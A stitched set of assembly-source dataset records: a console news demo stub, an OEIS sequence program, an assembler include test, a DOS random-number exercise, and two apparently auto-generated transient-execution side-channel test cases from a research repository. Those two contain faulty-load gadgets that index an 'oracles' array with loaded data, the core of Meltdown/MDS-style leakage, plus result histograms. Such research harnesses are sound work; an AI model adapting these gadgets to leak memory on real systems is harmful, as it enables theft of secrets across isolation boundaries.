0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
null
null
null
src/news.asm
BlockoS/up-news
0f67eac47d36e5e71e403b22fb009633eec6d560
[ "BSD-3-Clause" ]
null
null
null
; sprites: ; - vignette (live) ; - channel name ; - left eye ; - right eye ; - mouth ; - left hand ; - right hand ; ; scroll: ; - breaking news ? ; - main news line ; - stock line news: ; Clean BAT vdc_reg #VDC_MAWR vdc_data #$0000 vdc_reg #VDC_DATA st1 #low($2000>>4) st2 #high($2000>>4) st0 #VDC_DMA_SRC st1 #low($0000) st2 #high($0000) st0 #VDC_DMA_DST st1 #low($0001) st2 #high($0001) st0 #VDC_DMA_LEN st1 #low(32*32 - 2) st2 #high(32*32 - 2) ; [todo] load palettes ; [todo] load tiles ; [todo] load BAT ; [todo] load sprites cli .loop: ; [todo] update sprite coordinates vdc_wait_vsync #$01 decw <_fx.counter ora <_fx.counter bne .loop rts ; [todo] vsync and hsync for news scroller
18.038462
42
0.49467
5abe7291efd58454152aa7e1a3075c406a411750
2,852
asm
Assembly
programs/oeis/017/A017003.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/017/A017003.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/017/A017003.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A017003: a(n) = (7*n + 1)^11. ; 1,8589934592,8649755859375,584318301411328,12200509765705829,131621703842267136,929293739471222707,4882812500000000000,20635899893042801193,73786976294838206464,231122292121701565271,650190514836423555072,1673432436896142578125,3996373778857415671808,8953382542587164451099,18982985583354248390656,38358611506121121577937,74300837068800000000000,138624799340320978519423,250122512189374498985984,437935588474487527439541,746240592700077928087552,1240648285957267138671875,2016810807672035804940288,3211838877954855105157369,5019255990031848807858176,7708359963113024511280167,11649025889821900000000000,17343170265605241347130653,25464305835922478547861504,36906852424971083485992811,52847132780654751438252032,74818276426792144775390625,104801580876470315823136768,145337240630172360933794639,199657752537985561759389696,271847743804884990713499397,367034448698777600000000000,491613584498601037846604883,653515949089146258317953024,862520684644188385040795081,1130621826892669783231168512,1472455490465714973583984375,1905795830785729527017781248,2452128774972233608245132909,3137313431470823142080905216,3992342073809083968859805627,5054210651372681700000000000,6366912912781415703444512113,7982572438812891719395180544,9962728175433694563518616351,12379790436996519307878356992,15318685818767563885595703125,18878711020461444446161993728,23175617242259741753050742179,28343948575831725778577524736,34539659679198468283732168857,41943040000000000000000000000,50761973901033889039170022343,61235568249106027885106264064,73638181357622863863877426621,88283889629390066997077737472,105531430833275902825341796875,125789665671337497908806494208,149523602156362812588586992449,177261030328297458104329568256,209599817996529430739834959087,247215921508401230300000000000,290872169017591458452425905573,341427877364219557396646723584,399849367486819482609834395891,467221447269921365272965629952,544759934895174099174853515625,633825300114114700748351602688,735937505402299585294763053719,852792133693094851836500555776,986277894330592476397946946317,1138495604030571110400000000000,1311778745001927027370820531803,1508715707964414645985848879104,1732173833607787897772353894161,1985325372078533349421908754432,2271675486359422206878662109375,2595092431930248824098639239168,2959840051871614745048248895989,3370612733603785183127505207296,3832572980745893676320153300547,4351391761143583866100000000000,4933291799952117279127519871033,5585093994783683917276589850624,6314267138338848586317495491431,7128981142649549347984776230912,8038163968071713324068798828125,9051562469486326303036064923648,10179807381805722116509203289259,11434482676844060410283537442816,12828199533904631006539357591777,14374675177069032243200000000000,16088816843151771114214119493263,17986811155615855280690839558144 mul $0,7 add $0,1 pow $0,11
407.428571
2,790
0.953366
9ad55196da81ea185b9fe9a73433fd3baf0bdce1
23
asm
Assembly
tests/include_directory/code/code4.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
414
2016-10-14T22:39:20.000Z
2022-03-30T07:52:44.000Z
tests/include_directory/code/code4.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
100
2018-03-22T16:12:24.000Z
2022-03-26T09:19:23.000Z
tests/include_directory/code/code4.asm
NullMember/customasm
6e34d6432583a41278e6b3596f1817ae82149531
[ "Apache-2.0" ]
47
2017-06-29T15:12:13.000Z
2022-03-10T04:50:51.000Z
#include "../code3.asm"
23
23
0.652174
916c0a20f05909cc355c785c5299bb71bf3182ae
8,250
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_un_sm_/i7-7700_9_0x48.log_21829_2419.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_un_sm_/i7-7700_9_0x48.log_21829_2419.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_un_sm_/i7-7700_9_0x48.log_21829_2419.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r13 push %r15 push %r9 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x139d, %r9 nop nop nop nop nop mfence mov (%r9), %r15d nop nop nop add $42339, %rsi lea addresses_WT_ht+0x1e01d, %rcx clflush (%rcx) add $7526, %rsi movups (%rcx), %xmm4 vpextrq $1, %xmm4, %r10 nop nop and $9041, %rsi lea addresses_D_ht+0x749d, %rsi lea addresses_A_ht+0x1badd, %rdi clflush (%rsi) nop dec %r13 mov $74, %rcx rep movsl nop add %r10, %r10 lea addresses_A_ht+0x1ad65, %rsi lea addresses_UC_ht+0x6a89, %rdi nop nop nop nop cmp %r12, %r12 mov $37, %rcx rep movsb nop nop nop nop nop cmp $54713, %r13 lea addresses_WT_ht+0x49b1, %rsi nop nop nop add $2483, %rcx movw $0x6162, (%rsi) nop nop nop nop nop sub $33273, %rdi lea addresses_D_ht+0x14fbd, %r9 sub $1477, %r15 mov $0x6162636465666768, %rdi movq %rdi, (%r9) sub $65113, %rdi lea addresses_A_ht+0xcccd, %r12 nop nop inc %rcx movl $0x61626364, (%r12) sub %rsi, %rsi lea addresses_UC_ht+0x8e15, %rsi lea addresses_UC_ht+0x385d, %rdi clflush (%rdi) nop nop nop nop nop cmp $52039, %r15 mov $25, %rcx rep movsb nop nop add %r13, %r13 lea addresses_D_ht+0x559d, %r13 cmp $48282, %rdi movb (%r13), %r9b nop and %r10, %r10 lea addresses_WC_ht+0x1b89d, %r10 nop nop nop nop nop xor %r12, %r12 movl $0x61626364, (%r10) nop nop nop xor $14674, %rcx lea addresses_D_ht+0x78bd, %r10 nop sub $8945, %rcx movb $0x61, (%r10) and $62956, %r12 lea addresses_D_ht+0x105d5, %r13 nop nop nop nop sub $17925, %rdi mov (%r13), %r15w nop nop nop nop nop add %r9, %r9 lea addresses_normal_ht+0x1159d, %rcx nop nop nop add $2516, %r15 vmovups (%rcx), %ymm7 vextracti128 $0, %ymm7, %xmm7 vpextrq $0, %xmm7, %rsi nop nop nop xor $2481, %r12 lea addresses_D_ht+0x1da5d, %r13 sub $59300, %r9 vmovups (%r13), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r15 nop nop dec %r15 lea addresses_WT_ht+0x424d, %rcx nop nop nop nop dec %r10 movb $0x61, (%rcx) nop nop nop nop xor $10678, %r13 pop %rsi pop %rdi pop %rcx pop %r9 pop %r15 pop %r13 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r14 push %r8 push %r9 push %rbp push %rcx // Store mov $0x227632000000039d, %rcx nop nop sub %r12, %r12 mov $0x5152535455565758, %r8 movq %r8, %xmm2 movups %xmm2, (%rcx) // Exception!!! nop nop mov (0), %r9 nop sub $13047, %r8 // Store mov $0x20ce5100000007ef, %rcx nop nop sub %r11, %r11 movl $0x51525354, (%rcx) nop nop nop nop nop and %r14, %r14 // Faulty Load mov $0x227632000000039d, %r9 nop sub $25063, %r12 movaps (%r9), %xmm3 vpextrq $0, %xmm3, %rcx lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rcx pop %rbp pop %r9 pop %r8 pop %r14 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'AVXalign': True, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 2, 'same': True, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 1, 'same': False, 'NT': False}} {'58': 21649, '5f': 67, '00': 113} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 5f 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
32.480315
2,999
0.651879
dea678cbd658ea8aa45fdc1dfe998ef3e3951706
2,229
asm
Assembly
Day-46/Random_Num_Generate.asm
MasumBhai/50-Day-challenge-with-Assembly-Language
aadeb6c4a022d089afb10fd22ffd2a768c32036e
[ "CC0-1.0" ]
1
2021-04-07T09:50:40.000Z
2021-04-07T09:50:40.000Z
Day-46/Random_Num_Generate.asm
MasumBhai/50-Day-challenge-with-Assembly-Language
aadeb6c4a022d089afb10fd22ffd2a768c32036e
[ "CC0-1.0" ]
null
null
null
Day-46/Random_Num_Generate.asm
MasumBhai/50-Day-challenge-with-Assembly-Language
aadeb6c4a022d089afb10fd22ffd2a768c32036e
[ "CC0-1.0" ]
null
null
null
; id-201914044 (problem no-05) .model small .stack 100h ;include 'emu8086.inc' .data n_line db 0ah,0dh,"$" msg db "have to enter 16 digit binary number",10,13,"$" var dw ? .code main proc mov ax,@data mov ds,ax lea dx,msg mov ah,9 int 21h xor dx,dx call read mov cx,100 @100Times: call random call write mov ax,var loop @100Times @stop: mov ah,4ch ;terminate int 21h main endp random proc xor dx,dx shl ax,1 ; shift lefted once ;now i need to get 14th & 15th bit value test ax,0010000000000000b ; 14th bit testing jz @14thBitOne mov dl,0 ; i'm storing 14th bit value in dl jmp @chek15th @14thBitOne: mov dl,1 @chek15th: test ax,0100000000000000b ; 15th bit testing jz @15thBitOne mov dh,0 jmp @xorOperation @15thBitOne: mov dh,1 @xorOperation: xor dl,dh ; value stored in dl or al,dl ; replaced 0th bit by the xor of 14th & 15th bit and ax,1011111111111111b ; cleared 15th bit mov var,ax ret random endp read proc xor ax,ax xor bx,bx mov cx,16d mov ah,1 @read: int 21h and al,15d ; and with 0F shl bx,1 ; bx er danpasher 1ta space khali kore dilam or bl,al ; oi empty space ta fill up kore dilam loop @read lea dx,n_line mov ah,9 int 21h mov ax,bx ; ax contains now 15 bit number ret read endp write proc mov bx,ax mov si,0d @write: cmp si,16d jge @newLine cmp si,4d je @space cmp si,8d je @space cmp si,12d je @space @continue: shl bx,1 jnc @zero mov ah,2 mov dl,31h int 21h jmp @increment @zero: mov ah,2 mov dl,30h int 21h jmp @increment @space: mov ah,2 mov dl,32d int 21h jmp @continue @increment: inc si jmp @write @newLine: lea dx,n_line mov ah,9 int 21h ret write endp end main
17.414063
70
0.524899
a2a5e225965d32908d8d3d628336d60e67ccf2fc
9,172
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_55.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_55.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_55.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r12 push %r14 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x6754, %r14 add %rdx, %rdx mov (%r14), %rax dec %r12 lea addresses_D_ht+0x7754, %rsi lea addresses_A_ht+0xfc04, %rdi nop nop nop inc %r14 mov $118, %rcx rep movsb nop nop nop nop xor $6500, %rsi lea addresses_WT_ht+0xf54, %rsi lea addresses_normal_ht+0x5d54, %rdi nop nop nop add $6892, %r10 mov $16, %rcx rep movsq nop xor $56670, %rcx lea addresses_A_ht+0x1fdc, %r12 nop nop cmp %rsi, %rsi movl $0x61626364, (%r12) nop nop nop add $16705, %rdi lea addresses_D_ht+0x7e75, %r14 nop and $34701, %r12 mov (%r14), %ecx and $21384, %rsi lea addresses_WC_ht+0x9854, %rdx clflush (%rdx) nop nop nop and %r10, %r10 mov $0x6162636465666768, %rax movq %rax, %xmm6 movups %xmm6, (%rdx) nop nop nop and %rax, %rax lea addresses_UC_ht+0xc638, %rsi nop nop nop nop nop lfence movl $0x61626364, (%rsi) nop nop nop nop cmp $11615, %rax lea addresses_normal_ht+0x1f54, %rsi lea addresses_D_ht+0x1553c, %rdi clflush (%rdi) nop nop nop nop sub $30771, %r12 mov $10, %rcx rep movsw nop nop nop nop nop and $33094, %rax lea addresses_normal_ht+0x19754, %rsi lea addresses_WC_ht+0x1edf4, %rdi nop dec %r14 mov $98, %rcx rep movsw nop nop nop nop add %rdx, %rdx lea addresses_normal_ht+0x9a7c, %rsi lea addresses_A_ht+0x17b54, %rdi nop nop nop nop nop sub %r12, %r12 mov $55, %rcx rep movsq dec %r14 lea addresses_UC_ht+0x9304, %r10 nop nop nop nop xor $8473, %r14 mov $0x6162636465666768, %rax movq %rax, %xmm2 vmovups %ymm2, (%r10) nop nop nop nop and %r10, %r10 lea addresses_normal_ht+0x15754, %rcx nop nop nop nop cmp %rdi, %rdi movb $0x61, (%rcx) nop nop nop nop nop dec %rdi lea addresses_A_ht+0xf334, %rdx nop nop nop nop xor $38916, %rsi movl $0x61626364, (%rdx) nop nop nop and %r12, %r12 lea addresses_UC_ht+0x8054, %rsi lea addresses_D_ht+0x1ac54, %rdi nop nop and %rax, %rax mov $103, %rcx rep movsw nop nop nop xor $35390, %r12 lea addresses_UC_ht+0x16f54, %rsi lea addresses_normal_ht+0x90f4, %rdi clflush (%rdi) nop dec %rdx mov $33, %rcx rep movsw nop nop nop nop nop add %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r14 pop %r12 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r9 push %rbx push %rcx push %rdx // Store lea addresses_D+0x22d4, %rcx dec %rbx mov $0x5152535455565758, %r9 movq %r9, (%rcx) nop nop nop sub $332, %r11 // Store lea addresses_UC+0x130b4, %rdx nop and %rcx, %rcx mov $0x5152535455565758, %r9 movq %r9, %xmm3 movups %xmm3, (%rdx) nop add $12859, %r11 // Store lea addresses_PSE+0x1c054, %r11 nop nop inc %r9 movw $0x5152, (%r11) nop nop nop nop cmp %rdx, %rdx // Store lea addresses_normal+0x98d4, %r15 nop nop nop nop add %r13, %r13 mov $0x5152535455565758, %r11 movq %r11, (%r15) cmp %r15, %r15 // Store mov $0xad4, %r15 nop nop nop nop sub $37723, %rdx movl $0x51525354, (%r15) nop add $51859, %r13 // Faulty Load lea addresses_RW+0xb754, %r11 clflush (%r11) nop nop cmp $29225, %rbx mov (%r11), %cx lea oracles, %rdx and $0xff, %rcx shlq $12, %rcx mov (%rdx,%rcx,1), %rcx pop %rdx pop %rcx pop %rbx pop %r9 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 8, 'NT': True, 'type': 'addresses_D'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_UC'}} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_PSE'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_normal'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_P'}} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 11, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 3, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': False, 'size': 4, 'NT': True, 'type': 'addresses_A_ht'}} {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_WC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_UC_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}} {'src': {'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': True, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'congruent': 3, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': True, 'type': 'addresses_D_ht'}} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}} {'32': 21829} 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 